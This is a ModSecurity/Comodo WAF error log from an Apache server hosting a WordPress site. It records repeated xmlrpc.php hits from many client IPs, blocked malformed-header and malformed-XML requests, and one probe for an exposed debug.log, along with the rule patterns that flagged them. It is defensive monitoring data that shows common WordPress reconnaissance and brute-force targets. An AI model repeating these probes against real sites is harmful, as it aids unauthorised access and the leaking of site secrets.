[Tue Apr 14 09:08:48.652908 2026] [:error] [pid 35713:tid 35723] [client 3.16.241.180:49386] [client 3.16.241.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 3.16.241.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2ToK6-hhx6ZepqOSnbFQAAAMc"]
[Tue Apr 14 09:09:00.499419 2026] [:error] [pid 35630:tid 35690] [client 46.105.230.99:19819] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2TrDer0pVFxOiOauXJVAAAAIQ"]
[Tue Apr 14 09:09:11.068557 2026] [:error] [pid 35630:tid 35706] [client 69.57.172.96:44138] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2Ttzer0pVFxOiOauXJXQAAAJQ"]
[Tue Apr 14 09:20:12.696094 2026] [:error] [pid 37048:tid 37052] [client 167.172.153.2:35504] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2WTJ52Bo1OyzeXo_ygQgAAAQI"]
[Tue Apr 14 09:25:33.755467 2026] [:error] [pid 35713:tid 35721] [client 37.128.148.215:56272] [client 37.128.148.215] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.128.148.215, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2Xja6-hhx6ZepqOSnkFwAAAMU"]
[Tue Apr 14 09:26:38.179421 2026] [:error] [pid 35713:tid 35739] [client 34.76.142.88:2743] [client 34.76.142.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.142.88, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2Xzq6-hhx6ZepqOSnklgAAANc"]
[Tue Apr 14 09:36:25.399475 2026] [:error] [pid 37048:tid 37066] [client 155.133.138.66:38773] [client 155.133.138.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.138.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2aGZ52Bo1OyzeXo_ykXAAAARA"]
[Tue Apr 14 09:37:43.610884 2026] [:error] [pid 37226:tid 37245] [client 80.211.125.234:43592] [client 80.211.125.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 80.211.125.234, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2aZ5OA5-IQ0IVmQCrb2gAAAVE"]
[Tue Apr 14 09:38:34.590662 2026] [:error] [pid 37048:tid 37050] [client 85.215.188.44:35702] [client 85.215.188.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.215.188.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2amp52Bo1OyzeXo_yk5AAAAQA"]
[Tue Apr 14 09:39:48.472873 2026] [:error] [pid 37226:tid 37237] [client 69.57.172.96:40648] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2a5JOA5-IQ0IVmQCrcXAAAAUk"]
[Tue Apr 14 09:45:13.831482 2026] [:error] [pid 37226:tid 37246] [client 51.68.74.67:57294] [client 51.68.74.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.68.74.67, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2cKZOA5-IQ0IVmQCrd1AAAAVI"]
[Tue Apr 14 09:48:04.924693 2026] [:error] [pid 37226:tid 37248] [client 5.189.168.141:56284] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2c1JOA5-IQ0IVmQCrekQAAAVQ"]
[Tue Apr 14 09:51:35.032609 2026] [:error] [pid 35630:tid 35690] [client 65.21.67.136:38360] [client 65.21.67.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.21.67.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2dpzer0pVFxOiOauXQYQAAAIQ"]
[Tue Apr 14 09:51:35.034250 2026] [:error] [pid 35630:tid 35690] [client 65.21.67.136:38360] [client 65.21.67.136] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2dpzer0pVFxOiOauXQYQAAAIQ"]
[Tue Apr 14 09:51:35.035577 2026] [:error] [pid 35630:tid 35690] [client 65.21.67.136:38360] [client 65.21.67.136] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2dpzer0pVFxOiOauXQYQAAAIQ"]
[Tue Apr 14 09:55:09.027136 2026] [:error] [pid 4902:tid 4918] [client 196.27.114.137:58922] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2efYv8vJvl9lGy39gxPwAAAY4"]
[Tue Apr 14 09:56:50.634464 2026] [:error] [pid 35629:tid 35682] [client 213.160.75.126:54954] [client 213.160.75.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.75.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2e4jY8VahzC1YJBSjHPgAAAFc"]
[Tue Apr 14 09:57:55.731899 2026] [:error] [pid 37048:tid 37055] [client 103.159.221.207:55390] [client 103.159.221.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.221.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2fI552Bo1OyzeXo_ypRAAAAQU"]
[Tue Apr 14 09:58:06.043525 2026] [:error] [pid 37226:tid 37237] [client 103.159.221.207:56175] [client 103.159.221.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.221.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2fLpOA5-IQ0IVmQCrhfQAAAUk"]
[Tue Apr 14 09:58:16.651613 2026] [:error] [pid 37226:tid 37229] [client 103.159.221.207:56838] [client 103.159.221.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.159.221.207, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2fOJOA5-IQ0IVmQCrhjwAAAUE"]
[Tue Apr 14 10:03:01.098353 2026] [:error] [pid 35713:tid 35722] [client 82.154.116.112:39768] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2gVa6-hhx6ZepqOSn2FgAAAMY"]
[Tue Apr 14 10:03:26.442608 2026] [:error] [pid 37048:tid 37052] [client 85.214.144.101:46564] [client 85.214.144.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.144.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2gbp52Bo1OyzeXo_yqlQAAAQI"]
[Tue Apr 14 10:04:21.062231 2026] [:error] [pid 37226:tid 37249] [client 49.12.238.251:36706] [client 49.12.238.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.12.238.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2gpZOA5-IQ0IVmQCrjjAAAAVU"]
[Tue Apr 14 10:07:52.987022 2026] [:error] [pid 37048:tid 37075] [client 46.246.39.245:46732] [client 46.246.39.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.246.39.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2heJ52Bo1OyzeXo_yr2gAAARg"]
[Tue Apr 14 10:09:31.489868 2026] [:error] [pid 35713:tid 35719] [client 143.244.166.58:52442] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2h266-hhx6ZepqOSn6ZgAAAMM"]
[Tue Apr 14 10:10:52.826087 2026] [:error] [pid 37226:tid 37235] [client 85.214.144.101:50280] [client 85.214.144.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.144.101, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2iLJOA5-IQ0IVmQCrmqwAAAUc"]
[Tue Apr 14 10:19:45.760084 2026] [:error] [pid 37048:tid 37064] [client 172.237.101.239:33128] [client 172.237.101.239] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.237.101.239, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2kQZ52Bo1OyzeXo_yvmwAAAQ4"]
[Tue Apr 14 10:24:11.396219 2026] [:error] [pid 35630:tid 35708] [client 138.197.129.229:39810] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2lSzer0pVFxOiOauXWGgAAAJY"]
[Tue Apr 14 10:27:57.120560 2026] [:error] [pid 4902:tid 4908] [client 159.203.76.93:55488] [client 159.203.76.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.76.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2mLYv8vJvl9lGy39g4aQAAAYQ"]
[Tue Apr 14 10:33:05.474755 2026] [:error] [pid 37226:tid 37231] [client 198.58.96.57:56548] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2nYZOA5-IQ0IVmQCrucgAAAUM"]
[Tue Apr 14 10:33:14.817991 2026] [:error] [pid 35713:tid 35736] [client 93.16.216.118:53616] [client 93.16.216.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.16.216.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2naq6-hhx6ZepqOSkIHQAAANQ"]
[Tue Apr 14 10:42:11.906895 2026] [:error] [pid 37048:tid 37067] [client 43.133.69.37:50044] [client 43.133.69.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ad2pg552Bo1OyzeXo_y2pAAAARE"]
[Tue Apr 14 10:44:55.494350 2026] [:error] [pid 37226:tid 37242] [client 46.182.4.125:38159] [client 46.182.4.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.182.4.125, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2qJ5OA5-IQ0IVmQCrzBgAAAU4"]
[Tue Apr 14 10:51:39.101454 2026] [:error] [pid 37226:tid 37251] [client 85.128.143.123:48924] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2ru5OA5-IQ0IVmQCr1WgAAAVc"]
[Tue Apr 14 10:58:35.791857 2026] [:error] [pid 35713:tid 35723] [client 157.245.242.100:30612] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.242.100, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2tW66-hhx6ZepqOSkUsQAAAMc"]
[Tue Apr 14 11:03:29.795656 2026] [:error] [pid 35629:tid 35682] [client 85.128.143.129:38894] [client 85.128.143.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.129, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2ugTY8VahzC1YJBSjQfAAAAFc"]
[Tue Apr 14 11:06:06.159808 2026] [:error] [pid 35628:tid 35641] [client 96.9.125.116:52504] [client 96.9.125.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.9.125.116, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2vHufPm-ozGuwCWXK9vQAAAAk"]
[Tue Apr 14 11:08:41.020816 2026] [:error] [pid 37226:tid 37230] [client 43.153.67.21:36200] [client 43.153.67.21] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ad2vuZOA5-IQ0IVmQCr7jgAAAUI"]
[Tue Apr 14 11:11:16.378400 2026] [:error] [pid 35628:tid 35652] [client 141.94.18.111:55584] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2wVOfPm-ozGuwCWXK-OAAAABQ"]
[Tue Apr 14 11:14:28.819531 2026] [:error] [pid 37048:tid 37054] [client 182.9.193.86:25063] [client 182.9.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2xFJ52Bo1OyzeXo_y_BwAAAQQ"]
[Tue Apr 14 11:14:49.706191 2026] [:error] [pid 4902:tid 4919] [client 182.9.193.86:23875] [client 182.9.193.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.193.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2xKYv8vJvl9lGy39hDRAAAAY8"]
[Tue Apr 14 11:16:49.879947 2026] [:error] [pid 37226:tid 37238] [client 149.129.97.104:43572] [client 149.129.97.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.129.97.104, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2xoZOA5-IQ0IVmQCr-TgAAAUo"]
[Tue Apr 14 11:20:23.659656 2026] [:error] [pid 37048:tid 37072] [client 54.36.181.89:35510] [client 54.36.181.89] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.181.89, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2yd552Bo1OyzeXo_zArQAAARU"]
[Tue Apr 14 11:29:05.403125 2026] [:error] [pid 35713:tid 35718] [client 67.73.243.12:52388] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad20ga6-hhx6ZepqOSkiHAAAAMI"]
[Tue Apr 14 11:42:51.424855 2026] [:error] [pid 35713:tid 35716] [client 46.21.198.186:34334] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad23u66-hhx6ZepqOSkoLQAAAMA"]
[Tue Apr 14 11:46:45.137341 2026] [:error] [pid 4902:tid 4911] [client 81.8.91.201:43336] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad24pYv8vJvl9lGy39hJEQAAAYc"]
[Tue Apr 14 11:57:00.470542 2026] [:error] [pid 35630:tid 35708] [client 51.159.190.214:53398] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad27DDer0pVFxOiOauXloAAAAJY"]
[Tue Apr 14 11:58:56.701141 2026] [:error] [pid 35629:tid 35674] [client 164.92.212.216:33520] [client 164.92.212.216] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/wp-content/debug.log"] [unique_id "ad27gDY8VahzC1YJBSjXGQAAAE8"]
[Tue Apr 14 11:58:56.706394 2026] [:error] [pid 35629:tid 35678] [client 164.92.212.216:33546] [client 164.92.212.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.212.216, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad27gDY8VahzC1YJBSjXHAAAAFM"]
[Tue Apr 14 11:59:13.966691 2026] [:error] [pid 35713:tid 35722] [client 46.225.100.56:33462] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.100.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad27ka6-hhx6ZepqOSkvcwAAAMY"]
[Tue Apr 14 12:00:02.416761 2026] [:error] [pid 37226:tid 37250] [client 143.244.166.58:33558] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad27wpOA5-IQ0IVmQCoMYgAAAVY"]
[Tue Apr 14 12:02:31.961606 2026] [:error] [pid 4902:tid 4913] [client 46.163.72.195:57546] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad28V4v8vJvl9lGy39hL4gAAAYk"]
[Tue Apr 14 12:02:35.970053 2026] [:error] [pid 4902:tid 4905] [client 158.69.220.86:37202] [client 158.69.220.86] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.69.220.86, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad28W4v8vJvl9lGy39hL6wAAAYE"]
[Tue Apr 14 12:04:10.255116 2026] [:error] [pid 35713:tid 35721] [client 82.223.101.71:44116] [client 82.223.101.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.101.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad28uq6-hhx6ZepqOSkxwQAAAMU"]
[Tue Apr 14 12:09:54.587706 2026] [:error] [pid 35713:tid 35737] [client 211.169.178.4:39474] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2-Eq6-hhx6ZepqOSk0qAAAANU"]
[Tue Apr 14 12:10:05.242688 2026] [:error] [pid 35630:tid 35693] [client 45.76.129.195:36232] [client 45.76.129.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.76.129.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad2-HTer0pVFxOiOauXoOAAAAIc"]
